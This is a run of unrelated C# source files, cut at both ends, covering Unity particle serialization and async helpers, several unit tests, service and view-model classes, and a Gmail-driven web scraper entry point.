HasAttachRibbonsToTransform(Version version) => version.IsGreaterEqual(2018, 3); public override void Read(AssetReader reader) { base.Read(reader); if (HasMode(reader.Version)) { Mode = (ParticleSystemTrailMode)reader.ReadInt32(); } Ratio = reader.ReadSingle(); Lifetime.Read(reader); MinVertexDistance = reader.ReadSingle(); TextureMode = (ParticleSystemTrailTextureMode)reader.ReadInt32(); if (HasRibbonCount(reader.Version)) { RibbonCount = reader.ReadInt32(); } if (HasShadowBias(reader.Version)) { ShadowBias = reader.ReadSingle(); } WorldSpace = reader.ReadBoolean(); DieWithParticles = reader.ReadBoolean(); SizeAffectsWidth = reader.ReadBoolean(); SizeAffectsLifetime = reader.ReadBoolean(); InheritParticleColor = reader.ReadBoolean(); if (HasGenerateLightingData(reader.Version)) { GenerateLightingData = reader.ReadBoolean(); } if (HasSplitSubEmitterRibbons(reader.Version)) { SplitSubEmitterRibbons = reader.ReadBoolean(); } if (HasAttachRibbonsToTransform(reader.Version)) { AttachRibbonsToTransform = reader.ReadBoolean(); } reader.AlignStream(); ColorOverLifetime.Read(reader); WidthOverTrail.Read(reader); ColorOverTrail.Read(reader); } public override YAMLNode ExportYAML(IExportContainer container) { YAMLMappingNode node = (YAMLMappingNode)base.ExportYAML(container); node.Add(ModeName, (int)Mode); node.Add(RatioName, Ratio); node.Add(LifetimeName, Lifetime.ExportYAML(container)); node.Add(MinVertexDistanceName, MinVertexDistance); node.Add(TextureModeName, (int)TextureMode); node.Add(RibbonCountName, GetExportRibbonCount(container.Version)); if (HasShadowBias(container.ExportVersion)) { node.Add(ShadowBiasName, ShadowBias); } node.Add(WorldSpaceName, WorldSpace); node.Add(DieWithParticlesName, DieWithParticles); node.Add(SizeAffectsWidthName, SizeAffectsWidth); node.Add(SizeAffectsLifetimeName, SizeAffectsLifetime); node.Add(InheritParticleColorName, InheritParticleColor); node.Add(GenerateLightingDataName, GenerateLightingData); node.Add(SplitSubEmitterRibbonsName, SplitSubEmitterRibbons); if (HasAttachRibbonsToTransform(container.ExportVersion)) { node.Add(AttachRibbonsToTransformName, AttachRibbonsToTransform); } node.Add(ColorOverLifetimeName, ColorOverLifetime.ExportYAML(container)); node.Add(WidthOverTrailName, WidthOverTrail.ExportYAML(container)); node.Add(ColorOverTrailName, ColorOverTrail.ExportYAML(container)); return node; } private int GetExportRibbonCount(Version version) { return HasRibbonCount(version) ? RibbonCount : 1; } public ParticleSystemTrailMode Mode { get; set; } public float Ratio { get; set; } public float MinVertexDistance { get; set; } public ParticleSystemTrailTextureMode TextureMode { get; set; } public int RibbonCount { get; set; } public float ShadowBias { get; set; } public bool WorldSpace { get; set; } public bool DieWithParticles { get; set; } public bool SizeAffectsWidth { get; set; } public bool SizeAffectsLifetime { get; set; } public bool InheritParticleColor { get; set; } public bool GenerateLightingData { get; set; } public bool SplitSubEmitterRibbons { get; set; } public bool AttachRibbonsToTransform { get; set; } public const string ModeName = "mode"; public const string RatioName = "ratio"; public const string LifetimeName = "lifetime"; public const string MinVertexDistanceName = "minVertexDistance"; public const string TextureModeName = "textureMode"; public const string RibbonCountName = "ribbonCount"; public const string ShadowBiasName = "shadowBias"; public const string WorldSpaceName = "worldSpace"; public const string DieWithParticlesName = "dieWithParticles"; public const string SizeAffectsWidthName = "sizeAffectsWidth"; public const string SizeAffectsLifetimeName = "sizeAffectsLifetime"; public const string InheritParticleColorName = "inheritParticleColor"; public const string GenerateLightingDataName = "generateLightingData"; public const string SplitSubEmitterRibbonsName = "splitSubEmitterRibbons"; public const string AttachRibbonsToTransformName = "attachRibbonsToTransform"; public const string ColorOverLifetimeName = "colorOverLifetime"; public const string WidthOverTrailName = "widthOverTrail"; public const string ColorOverTrailName = "colorOverTrail"; public MinMaxCurve Lifetime; public MinMaxGradient ColorOverLifetime; public MinMaxCurve WidthOverTrail; public MinMaxGradient ColorOverTrail; } }
using System; using System.Runtime.CompilerServices; using System.Threading; using System.Threading.Tasks; using UnityEditor; using UnityEngine; namespace VavilichevGD.Tools.Async { public class UnityAwaiters { private static readonly WaitForEndOfFrame endOfFrameWaiter = new WaitForEndOfFrame(); public static async Task WaitForSeconds(float seconds, CancellationToken cancellationToken = default) { #if UNITY_EDITOR if (!Application.isPlaying) { // When the editor is not playing // scaled time is the same as realtime await WaitForSecondsRealtime(seconds, cancellationToken); return; } #endif float endTime = Time.time + seconds; while (Time.time < endTime) { cancellationToken.ThrowIfCancellationRequested(); await Task.Yield(); } } public static async Task WaitForSecondsRealtime(float seconds, CancellationToken cancellationToken = default) { #if UNITY_EDITOR if (!Application.isPlaying) { float editorEndTime = (float)EditorApplication.timeSinceStartup + seconds; while ((float)EditorApplication.timeSinceStartup < editorEndTime) { cancellationToken.ThrowIfCancellationRequested(); await Task.Yield(); } return; } #endif float endTime = Time.realtimeSinceStartup + seconds; while (Time.realtimeSinceStartup < endTime) { cancellationToken.ThrowIfCancellationRequested(); await Task.Yield(); } } public static async Task WaitUntil(Func<bool> predicate, CancellationToken cancellationToken = default) { while (!predicate.Invoke()) { cancellationToken.ThrowIfCancellationRequested(); await Task.Yield(); } } public static async Task WaitWhile(Func<bool> predicate, CancellationToken cancellationToken = default) { while (predicate.Invoke()) { cancellationToken.ThrowIfCancellationRequested(); await Task.Yield(); } } public static Task WaitForTime(TimeSpan timeSpan, CancellationToken cancellationToken = default) { return WaitForSeconds((float)timeSpan.TotalSeconds, cancellationToken); } public static Task WaitForRealtime(TimeSpan timeSpan, CancellationToken cancellationToken = default) { return WaitForSecondsRealtime((float)timeSpan.TotalSeconds, cancellationToken); } public static async Task WaitForFrames(int frameCount, CancellationToken cancellationToken = default) { int current = 0; while (current < frameCount) { await WaitNextFrame(cancellationToken); current++; } } public static YieldAwaitable WaitNextFrame() { return Task.Yield(); } public static async Task WaitNextFrame(CancellationToken cancellationToken) { await Task.Yield(); cancellationToken.ThrowIfCancellationRequested(); } } }
using ForgetMeNot.API.HTTP.Models; using ForgetMeNot.API.HTTP.Monitoring; using ForgetMeNot.Common; using ForgetMeNot.Messages; using ForgetMeNot.Router; using Nancy; using OpenTable.Services.Components.Monitoring.Monitors.HitTracker; namespace ForgetMeNot.API.HTTP.Modules { public class ServiceMonitoringModule : RootModule { public ServiceMonitoringModule (IBus bus, HitTracker hitTracker) : base() { Ensure.NotNull (bus, "bus"); Get["/service-status"] = parameters => { var state = bus.Send(new QueryResponse.GetServiceMonitorState()); var queueStats = bus.Send(new QueryResponse.GetQueueStats()); var monitorFactory = new MonitorFactory(hitTracker); var monitors = monitorFactory.Build(); var messageMonitor = MonitorGroup .Create("Message Stats", SystemTime.UtcNow()) .AddMonitor(SystemTime.UtcNow(), "Undeliverable Count", state.UndeliverableCount.ToString()) .AddMonitor(SystemTime.UtcNow(), "Delivered Count", state.DeliveredReminderCount.ToString()) .AddMonitor(SystemTime.UtcNow(), "Service Started At", state.ServiceStartedAt.ToString("O")) .AddMonitor(SystemTime.UtcNow(), "QueueSize", queueStats.QueueSize.ToString()); monitors.Add(messageMonitor); return Response.AsJson(monitors); }; Get ["/health"] = parameters => { return "ok"; }; } } }
// FizzBuzz LINQ One Liner // Author: @bennybackslash using System; using System.Linq; namespace FizzBuzz { class Fizzy { static void Main(string[] args) { Enumerable.Range(1, 100).Select(i =>(i % 3 == 0 && i % 5 == 0) ? "FizzBuzz" : (i % 3 == 0) ? "Fizz" : (i % 5 == 0) ? "Buzz" : i.ToString()).ToList().ForEach(Console.WriteLine); } } }
// // Encog(tm) Core v3.3 - .Net Version (unit test) // http://www.heatonresearch.com/encog/ // // Copyright 2008-2014 Heaton Research, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // For more information on Heaton Research copyrights, licenses // and trademarks visit: // http://www.heatonresearch.com/copyright // using System; using System.Text; using System.Collections.Generic; using System.Linq; using Microsoft.VisualStudio.TestTools.UnitTesting; using Encog.ML.Bayesian; using Encog.ML.Bayesian.Query.Enumeration; namespace Encog.ML.Bayes { [TestClass] public class TestEnumerationQuery { private void TestPercent(double d, int target) { if (((int)d) >= (target - 2) && ((int)d) <= (target + 2)) { Assert.IsTrue(false); } } [TestMethod] public void TestEnumeration1() { BayesianNetwork network = new BayesianNetwork(); BayesianEvent a = network.CreateEvent("a"); BayesianEvent b = network.CreateEvent("b"); network.CreateDependency(a, b); network.FinalizeStructure(); a.Table.AddLine(0.5, true); // P(A) = 0.5 b.Table.AddLine(0.2, true, true); // p(b|a) = 0.2 b.Table.AddLine(0.8, true, false);// p(b|~a) = 0.8 network.Validate(); EnumerationQuery query = new EnumerationQuery(network); query.DefineEventType(a, EventType.Evidence); query.DefineEventType(b, EventType.Outcome); query.SetEventValue(b, true); query.SetEventValue(a, true); query.Execute(); TestPercent(query.Probability, 20); } [TestMethod] public void TestEnumeration2() { BayesianNetwork network = new BayesianNetwork(); BayesianEvent a = network.CreateEvent("a"); BayesianEvent x1 = network.CreateEvent("x1"); BayesianEvent x2 = network.CreateEvent("x2"); BayesianEvent x3 = network.CreateEvent("x3"); network.CreateDependency(a, x1, x2, x3); network.FinalizeStructure(); a.Table.AddLine(0.5, true); // P(A) = 0.5 x1.Table.AddLine(0.2, true, true); // p(x1|a) = 0.2 x1.Table.AddLine(0.6, true, false);// p(x1|~a) = 0.6 x2.Table.AddLine(0.2, true, true); // p(x2|a) = 0.2 x2.Table.AddLine(0.6, true, false);// p(x2|~a) = 0.6 x3.Table.AddLine(0.2, true, true); // p(x3|a) = 0.2 x3.Table.AddLine(0.6, true, false);// p(x3|~a) = 0.6 network.Validate(); EnumerationQuery query = new EnumerationQuery(network); query.DefineEventType(x1, EventType.Evidence); query.DefineEventType(x2, EventType.Evidence); query.DefineEventType(x3, EventType.Evidence); query.DefineEventType(a, EventType.Outcome); query.SetEventValue(a, true); query.SetEventValue(x1, true); query.SetEventValue(x2, true); query.SetEventValue(x3, false); query.Execute(); TestPercent(query.Probability, 18); } [TestMethod] public void TestEnumeration3() { BayesianNetwork network = new BayesianNetwork(); BayesianEvent a = network.CreateEvent("a"); BayesianEvent x1 = network.CreateEvent("x1"); BayesianEvent x2 = network.CreateEvent("x2"); BayesianEvent x3 = network.CreateEvent("x3"); network.CreateDependency(a, x1, x2, x3); network.FinalizeStructure(); a.Table.AddLine(0.5, true); // P(A) = 0.5 x1.Table.AddLine(0.2, true, true); // p(x1|a) = 0.2 x1.Table.AddLine(0.6, true, false);// p(x1|~a) = 0.6 x2.Table.AddLine(0.2, true, true); // p(x2|a) = 0.2 x2.Table.AddLine(0.6, true, false);// p(x2|~a) = 0.6 x3.Table.AddLine(0.2, true, true); // p(x3|a) = 0.2 x3.Table.AddLine(0.6, true, false);// p(x3|~a) = 0.6 network.Validate(); EnumerationQuery query = new EnumerationQuery(network); query.DefineEventType(x1, EventType.Evidence); query.DefineEventType(x3, EventType.Outcome); query.SetEventValue(x1, true); query.SetEventValue(x3, true); query.Execute(); TestPercent(query.Probability, 50); } } }
using System; using MConfig; namespace MConfigDemo { class MConfigDemo { static void Main(string[] args) { Console.WriteLine("Using test file: testdata.dat with secret testsecret"); using (MConfigurator mconf = new MConfigurator("testdata.dat", "testsecret")) { Console.WriteLine("Add key1 with value val1..."); mconf.Add("key1", "val1"); Console.WriteLine($"Retrieve key1: {mconf.Get("key1")}"); Console.WriteLine("Add key2 with value val2..."); mconf.Add("key2", "val2"); Console.WriteLine($"Retrieve key2 with brackets: {mconf["key2"]}"); Console.WriteLine($"Key key1 is present: {mconf.ContainsKey("key1")}"); mconf.Remove("key2"); Console.WriteLine($"Key key2 is present after removal: {mconf.ContainsKey("key2")}"); } Console.WriteLine("Closed file!"); Console.WriteLine("Opened it again!"); using (MConfigurator mconf = new MConfigurator("testdata.dat", "testsecret")) { Console.WriteLine($"Key key1 is present: {mconf.ContainsKey("key1")}"); Console.WriteLine($"Retrieve key1: {mconf.Get("key1")}"); } Console.WriteLine("testdata.dat is still present if you want to look at it."); Console.WriteLine("Press enter to exit..."); Console.ReadKey(); } } }
namespace Microsoft.ApplicationInsights.Extensibility.Implementation.Tracing.SelfDiagnostics { using Microsoft.VisualStudio.TestTools.UnitTesting; [TestClass] public class SelfDiagnosticsConfigParserTest { [TestMethod] public void SelfDiagnosticsConfigParser_TryParseFilePath_Success() { string configJson = "{ \t \n " + "\t \"LogDirectory\" \t : \"Diagnostics\", \n" + "FileSize \t : \t \n" + " 1024 \n}\n"; Assert.IsTrue(SelfDiagnosticsConfigParser.TryParseLogDirectory(configJson, out string logDirectory)); Assert.AreEqual("Diagnostics", logDirectory); } [TestMethod] public void SelfDiagnosticsConfigParser_TryParseFilePath_MissingField() { string configJson = @"{ ""path"": ""Diagnostics"", ""FileSize"": 1024 }"; Assert.IsFalse(SelfDiagnosticsConfigParser.TryParseLogDirectory(configJson, out string logDirectory)); } [TestMethod] public void SelfDiagnosticsConfigParser_TryParseFileSize() { string configJson = @"{ ""LogDirectory"": ""Diagnostics"", ""FileSize"": 1024 }"; Assert.IsTrue(SelfDiagnosticsConfigParser.TryParseFileSize(configJson, out int fileSize)); Assert.AreEqual(1024, fileSize); } [TestMethod] public void SelfDiagnosticsConfigParser_TryParseFileSize_CaseInsensitive() { string configJson = @"{ ""LogDirectory"": ""Diagnostics"", ""fileSize"" : 2048 }"; Assert.IsTrue(SelfDiagnosticsConfigParser.TryParseFileSize(configJson, out int fileSize)); Assert.AreEqual(2048, fileSize); } [TestMethod] public void SelfDiagnosticsConfigParser_TryParseFileSize_MissingField() { string configJson = @"{ ""LogDirectory"": ""Diagnostics"", ""size"": 1024 }"; Assert.IsFalse(SelfDiagnosticsConfigParser.TryParseFileSize(configJson, out int fileSize)); } [TestMethod] public void SelfDiagnosticsConfigParser_TryParseLogLevel() { string configJson = @"{ ""LogDirectory"": ""Diagnostics"", ""FileSize"": 1024, ""LogLevel"": ""Error"" }"; Assert.IsTrue(SelfDiagnosticsConfigParser.TryParseLogLevel(configJson, out string logLevelString)); Assert.AreEqual("Error", logLevelString); } } }
using System; using System.Collections.Generic; using System.Text; namespace EventSourcingOnAzureFunctions.Common.CQRS.ProjectionHandler.Events { public interface IProjectionRequest { /// <summary> /// The domain name of the event stream over which the projection is /// to be run /// </summary> string ProjectionDomainName { get; set; } /// <summary> /// The entity type for which the projection will be run /// </summary> string ProjectionEntityTypeName { get; set; } /// <summary> /// The unique instance of the event stream over which the /// projection should run /// </summary> string ProjectionInstanceKey { get; set; } /// <summary> /// The name of the projection to run over that event stream /// </summary> string ProjectionTypeName { get; set; } /// <summary> /// The date up-to which we want the projection to be run /// </summary> Nullable<DateTime> AsOfDate { get; set; } /// <summary> /// An unique identifier set by the caller to trace this projection operation /// </summary> string CorrelationIdentifier { get; set; } } }
namespace TimeWarp.Architecture.Features.Applications; internal partial class ApplicationState { public record StartProcessingAction : BaseAction { public string ActionName { get; set; } } }
using Newtonsoft.Json; namespace LeaSearch.Core.Plugin { /// <summary> /// container the plugin's info /// </summary> [JsonObject(MemberSerialization.OptOut)] public class PluginMetadata { public string PluginId { get; set; } public string Name { get; set; } public string DisplayName { get; set; } public string DefalutPrefixKeyword { get; set; } /// <summary> /// 启用建议功能 /// </summary> public bool EnableSuggection { get; set; } /// <summary> /// 启用系统索引功能 /// </summary> public bool EnableIndex { get; set; } /// <summary> /// 每次启动的时候都执行索引 /// </summary> public bool DoIndexWhenEveryStart { get; set; } public string Author { get; set; } public string Version { get; set; } public string Language { get; set; } public string Description { get; set; } public string Website { get; set; } /// <summary> /// 插件入口文件 /// </summary> public string EntryFileName { get; set; } public string IcoPath { get; set; } public override string ToString() { return Name; } } }
using System; using System.Collections.ObjectModel; namespace CalendarModelServer { public interface ICalendarModel { public ObservableCollection<IAvailability> availabilities(); public void setActiveEmployeeId(int id); public int getActiveEmployeeId(); public void AddActiveEmployeeAvailability(DateTime startTime, DateTime endTime); public void RemoveActiveEmployeeAvailability(Guid id); } }
using System; using System.Collections.Generic; namespace Crosslight.API.Util { public class SyncedProperty<TPub, TSub> where TPub : TSub { private TPub property; private readonly IList<TSub> subscriber; /// <summary> /// Initializes a new instance of the <seealso cref="SyncedProperty{TPub, TSub}"/> class that /// is empty and has the default initial value. /// </summary> /// <param name="subscriber"> /// The collection that subscribes to changes in <seealso cref="SyncedProperty{TPub, TSub}"/>. /// </param> public SyncedProperty(IList<TSub> subscriber) : this(default, subscriber) { } /// <summary> /// Initializes a new instance of the <seealso cref="SyncedProperty{TPub, TSub}"/> class that /// contains <paramref name="value"/>. /// </summary> /// <param name="value">The initial property value.</param> /// <param name="subscriber"> /// The collection that subscribes to changes in <seealso cref="SyncedProperty{TPub, TSub}"/>. /// </param> public SyncedProperty(TPub value, IList<TSub> subscriber) { property = value; this.subscriber = subscriber ?? throw new ArgumentNullException(nameof(subscriber)); if (property != null) this.subscriber.Add(property); } public TPub Value { get => property; set { subscriber.Remove(property); property = value; subscriber.Add(property); } } } }
using DevExpress.WinUI.Core; using System.Collections.Generic; using System.Linq; using Microsoft.UI.Xaml; namespace FeatureDemo.ControlsDemo { public class BarCodeTypeTemplateSelector : TypeTemplateSelector { protected override DataTemplate SelectTemplateCore(object item, DependencyObject container) { var viewModel = item as SymbologyViewModel; string key = viewModel?.Symbology?.GeneratorBase.Name; if (string.IsNullOrEmpty(key)) return null; IEnumerator<DataTemplate> t = (from p in Templates where p.Key == key select p.Value).GetEnumerator(); return t.MoveNext() ? t.Current : null; } } }
using Microsoft.Win32; using SearchByRegex.Commands; using System; using System.Collections.Generic; using System.ComponentModel; using System.IO; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; using System.Windows; using System.Windows.Documents; namespace SearchByRegex.ViewModels { public class SearchViewModel : BaseViewModel { #region Commands private OpenCommand openCommand; public OpenCommand OpenCommand { get => openCommand; } private SearchCommand searchNextCommand; public SearchCommand SearchNextCommand { get => searchNextCommand; } private SearchCommand searchAllCommand; public SearchCommand SearchAllCommand { get => searchAllCommand; } #endregion #region Model private string fileContent; public string FileContent { get => fileContent; set { fileContent = value; RaiseOnPropertyChangedEvent("FileContent"); } } private string regexNextPattern; public string RegexNextPattern { get => regexNextPattern; set { regexNextPattern = value; SearchNextCommand.RaiseCanExecuteChanged(); } } private string regexAllPattern; public string RegexAllPattern { get => regexAllPattern; set { regexAllPattern = value; SearchAllCommand.RaiseCanExecuteChanged(); } } private FlowDocument fileContentDocument; public FlowDocument FileContentDocument { get => fileContentDocument; set { fileContentDocument = value; RaiseOnPropertyChangedEvent("FileContentDocument"); } } #endregion public static event EventHandler<string> NextSearchButtonClicked; public static event EventHandler<string> AllSearchButtonClicked; public SearchViewModel() { openCommand = new OpenCommand(OnOpen); searchNextCommand = new SearchCommand(OnNextSearch, CanNextSearch); searchAllCommand = new SearchCommand(OnAllSearch, CanAllSearch); } #region File private void OnOpen() { OpenFileDialog dialog = new OpenFileDialog { DefaultExt = ".txt", Filter = "Text files (*.txt)|*.txt" }; bool? result = dialog.ShowDialog(); if (result.HasValue && result.Value) { string fileName = dialog.FileName; if (File.Exists(fileName)) { FileContent = File.ReadAllText(fileName); FileContentDocument = new FlowDocument(); FileContentDocument.Blocks.Add(new Paragraph(new Run(FileContent))); } } } #endregion #region Search private void OnNextSearch() { if (String.IsNullOrEmpty(FileContent)) { MessageBox.Show("Load some text first!"); return; } NextSearchButtonClicked?.Invoke(this, RegexNextPattern); } private bool CanNextSearch() { return (!String.IsNullOrEmpty(RegexNextPattern)); } private void OnAllSearch() { if (String.IsNullOrEmpty(FileContent)) { MessageBox.Show("Load some text first!"); return; } AllSearchButtonClicked?.Invoke(this, RegexAllPattern); } private bool CanAllSearch() { return (!String.IsNullOrEmpty(RegexAllPattern)); } #endregion } }
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Events; public class PlayerInput : MonoBehaviour { [SerializeField] private Camera mainCamera; public UnityEvent OnShoot = new UnityEvent(); public UnityEvent<Vector2> OnMoveBody = new UnityEvent<Vector2>(); public UnityEvent<Vector2> OnMoveTurret = new UnityEvent<Vector2>(); private void Awake() { if (mainCamera == null) mainCamera = Camera.main; } // Update is called once per frame void Update() { GetBodyMovement(); GetTurretMovement(); GetShootingInput(); } private void GetShootingInput() { if (Input.GetMouseButtonDown(0)) { OnShoot?.Invoke(); } } private void GetTurretMovement() { OnMoveTurret?.Invoke(GetMousePositon()); } private Vector2 GetMousePositon() { Vector3 mousePosition = Input.mousePosition; mousePosition.z = mainCamera.nearClipPlane; Vector2 mouseWorldPosition = mainCamera.ScreenToWorldPoint(mousePosition); return mouseWorldPosition; } private void GetBodyMovement() { Vector2 movementVector = new Vector2(Input.GetAxisRaw("Horizontal"), Input.GetAxisRaw("Vertical")); OnMoveBody?.Invoke(movementVector.normalized); } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace MikuMikuFlex3 { public interface IMaterialShader : IDisposable { /// <summary> /// 材質を描画する。 /// </summary> /// <param name="d3ddc"> /// 描画に使用するDeviceContext。 /// </param> /// <param name="頂点数"> /// 材質の頂点数。 /// </param> /// <param name="頂点の開始インデックス"> /// 頂点バッファにおける、材質の開始インデックス。 /// </param> /// <param name="pass種別"> /// 材質の描画種別。 /// </param> /// <param name="グローバルパラメータ"> /// グローバルパラメータ。 /// </param> /// <param name="グローバルパラメータ定数バッファ"> /// グローバルパラメータの内容が格納された定数バッファ。 /// </param> /// <param name="テクスチャSRV"> /// 材質が使用するテクスチャリソースのSRV。未使用なら null。 /// </param> /// <param name="スフィアマップテクスチャSRV"> /// 材質が使用するスフィアマップテクスチャリソースのSRV。未使用なら null。 /// </param> /// <param name="トゥーンテクスチャSRV"> /// 材質が使用するトゥーンテクスチャリソースのSRV。未使用なら null。 /// </param> /// <remarks> /// このメソッドの呼び出し時には、<paramref name="d3ddc"/> には事前に以下のように設定される。 /// - InputAssembler /// - 頂点バッファ(モデル全体)の割り当て /// - 頂点インデックスバッファ(モデル全体)の割り当て /// - 頂点レイアウトの割り当て /// - PrimitiveTopology の割り当て(PatchListWith3ControlPoints固定) /// - VertexShader /// - slot( b0 ) …… <paramref name="グローバルパラメータ定数バッファ"/> /// - HullShader /// - slot( b0 ) …… <paramref name="グローバルパラメータ定数バッファ"/> /// - DomainShader /// - slot( b0 ) …… <paramref name="グローバルパラメータ定数バッファ"/> /// - GeometryShader /// - slot( b0 ) …… <paramref name="グローバルパラメータ定数バッファ"/> /// - PixelShader /// - slot( b0 ) …… <paramref name="グローバルパラメータ定数バッファ"/> /// - slot( t0 ) …… <paramref name="テクスチャSRV"/> /// - slot( t1 ) …… <paramref name="スフィアマップテクスチャSRV"/> /// - slot( t2 ) …… <paramref name="トゥーンテクスチャSRV"/> /// - slot( s0 ) …… ピクセルシェーダー用サンプルステート /// - Rasterizer /// - Viewport の設定 /// - RasterizerState の設定 /// - OutputMerger /// - RengerTargetView の割り当て /// - DepthStencilView の割り当て /// - DepthStencilState の割り当て /// </remarks> void Draw( SharpDX.Direct3D11.DeviceContext d3ddc, int 頂点数, int 頂点の開始インデックス, MMDPass pass種別, in GlobalParameters グローバルパラメータ, SharpDX.Direct3D11.Buffer グローバルパラメータ定数バッファ, SharpDX.Direct3D11.ShaderResourceView テクスチャSRV, SharpDX.Direct3D11.ShaderResourceView スフィアマップテクスチャSRV, SharpDX.Direct3D11.ShaderResourceView トゥーンテクスチャSRV ); } }
using System; using System.Threading.Tasks; namespace Salesforce.Owin.Security.Provider { public class SalesforceAuthenticationProvider : ISalesforceAuthenticationProvider { public SalesforceAuthenticationProvider() { OnAuthenticated = context => Task.FromResult<object>(null); OnReturnEndpoint = context => Task.FromResult<object>(null); } public Func<SalesforceAuthenticatedContext, Task> OnAuthenticated { get; set; } public Func<SalesforceReturnEndpointContext, Task> OnReturnEndpoint { get; set; } public virtual Task Authenticated(SalesforceAuthenticatedContext context) { return OnAuthenticated(context); } public virtual Task ReturnEndpoint(SalesforceReturnEndpointContext context) { return OnReturnEndpoint(context); } } }
using CP77Types = WolvenKit.RED4.CR2W.Types; namespace GraphEditor.CP77.Scene.CustomNodes { internal sealed class scnEndNode : scnStartNode { public override string ArrowText => $"{Name} ({((CP77Types.scnEndNode)NodeDef).Type.Value})"; internal scnEndNode(CP77Types.CHandle<CP77Types.scnSceneGraphNode> nodeHandle, long id, string name) : base(nodeHandle, id, name) { } } }
namespace Specification.Expressions.Tests { using System; using System.Collections.Generic; using System.Collections.ObjectModel; using global::Specification.Expressions.Operators; using Xunit; public class OrSpecificationTests { [Fact] public void OrTrue() { Specification or = new OrSpecification(ConstantSpecification.True, ConstantSpecification.False); SpecificationResult result = or.Evaluate(new Dictionary<string, object>()); Assert.True(result.IsSatisfied); Assert.Null(result.Details); or = new OrSpecification(ConstantSpecification.False, ConstantSpecification.True); result = or.Evaluate(new Dictionary<string, object>()); Assert.True(result.IsSatisfied); Assert.Null(result.Details); or = new OrSpecification(ConstantSpecification.True, ConstantSpecification.True); result = or.Evaluate(new Dictionary<string, object>()); Assert.True(result.IsSatisfied); Assert.Null(result.Details); or = new OrSpecification(ConstantSpecification.False, ConstantSpecification.True); result = or.Evaluate(new Dictionary<string, object>()); Assert.True(result.IsSatisfied); Assert.Null(result.Details); } [Fact] public void OrFalse() { Specification or = new OrSpecification(ConstantSpecification.False, ConstantSpecification.False); SpecificationResult result = or.Evaluate(new Dictionary<string, object>()); Assert.False(result.IsSatisfied); Assert.Equal("or/(Constant false|Constant false)", result.Details); } [Fact] public void OrFalseWithoutDetails() { Specification or = new OrSpecification(ConstantSpecification.False, ConstantSpecification.False); SpecificationResult result = or.Evaluate( new Dictionary<string, object>(), new SpecificationEvaluationSettings { IncludeDetails = false }); Assert.False(result.IsSatisfied); Assert.Null(result.Details); } [Fact] public void OrMinCount() { Assert.Throws<ArgumentException>(() => new OrSpecification()); Assert.Throws<ArgumentException>(() => new OrSpecification(ConstantSpecification.True)); } } }
using CefSharp.MinimalExample.WinForms; using GmailQuickstart; using Google.Apis.Gmail.v1; using Google.Apis.Sheets.v4; using System; using System.Collections.Generic; using System.Text; using System.Threading; using System.Windows.Forms; namespace web_scraper { public class Program { // If modifying these scopes, delete your previously saved credentials // at ~/.credentials/gmail-dotnet-quickstart.json public static string[] scopes = { GmailService.Scope.GmailModify, SheetsService.Scope.Spreadsheets }; public static string ApplicationName = "Gmail API .NET Quickstart"; [STAThread] private static int Main(string[] args) { BrowserForm browser; Starter.Initialize(args); if (args.Length == 0) { MainForm form = new MainForm(); Application.Run(form); } else if (args.Length ==1) { browser = new BrowserForm(); Thread thread = new Thread(() => { GmailService service = GmailAnnonceService.GetGmailService(); var gmailmessages = GmailAnnonceService.GetMessages(service); Thread.Sleep(2000); foreach(var message in gmailmessages) { WebScraperService.RunScrapping(browser, args[0].Split('/')[5], message); } Application.Exit(); }); thread.Start(); Application.Run(browser); } else { browser = new BrowserForm(); Thread thread = new Thread(() => { Thread.Sleep(2000); List<Annonce> lists = new List<Annonce>(); if(args.Length>1) lists.Add(new Annonce(DateTime.Now, args[0],long.Parse(args[1]))); else lists.Add(new Annonce(DateTime.Now, args[0])); WebScraperService.RunScrapping(browser, args[0].Split('/')[5], lists); Application.Exit(); }); thread.Start(); Application.Run(browser); } return 0; } } }
using System; using AdaskoTheBeAsT.AutoMapper.SimpleInjector.Test.Profiles; using AutoMapper; using FluentAssertions; using SimpleInjector; using SimpleInjector.Lifestyles; using Xunit; namespace AdaskoTheBeAsT.AutoMapper.SimpleInjector.Test { public sealed class TypeResolutionTests : IDisposable { private readonly Container _container; public TypeResolutionTests() { _container = new Container(); _container.Options.DefaultScopedLifestyle = new ThreadScopedLifestyle(); _container.Register<ISomeService>(() => new FooService(5), Lifestyle.Transient); _container.AddAutoMapper(typeof(Source)); } [Fact] public void ShouldResolveConfiguration() { _container.GetInstance<IConfigurationProvider>().Should().NotBeNull(); } [Fact] public void ShouldConfigureProfiles() { _container.GetInstance<IConfigurationProvider>().GetAllTypeMaps().Should().HaveCount(3); } [Fact] public void ShouldResolveMapper() { _container.GetInstance<IMapper>().Should().NotBeNull(); } [Fact] public void ShouldResolveMappingAction() { _container.GetInstance<FooMappingAction>().Should().NotBeNull(); } [Fact] public void ShouldResolveValueResolver() { _container.GetInstance<FooValueResolver>().Should().NotBeNull(); } [Fact] public void ShouldResolveMemberValueResolver() { _container.GetInstance<FooMemberValueResolver>().Should().NotBeNull(); } [Fact] public void ShouldResolveTypeConverter() { _container.GetInstance<FooTypeConverter>().Should().NotBeNull(); } [Fact] public void ShouldResolveValueConverter() { _container.GetInstance<FooValueConverter>().Should().NotBeNull(); } public void Dispose() { _container.Dispose(); } } }
// <copyright file="ConcurrentIntrusiveListTest.cs" company="OpenCensus Authors"> // Copyright 2018, OpenCensus Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // </copyright> namespace OpenCensus.Trace.Internal.Test { using System; using OpenCensus.Utils; using Xunit; public class ConcurrentIntrusiveListTest { private readonly ConcurrentIntrusiveList<FakeElement> intrusiveList = new ConcurrentIntrusiveList<FakeElement>(); [Fact] public void EmptyList() { Assert.Equal(0, intrusiveList.Count); Assert.Empty(intrusiveList.Copy()); } [Fact] public void 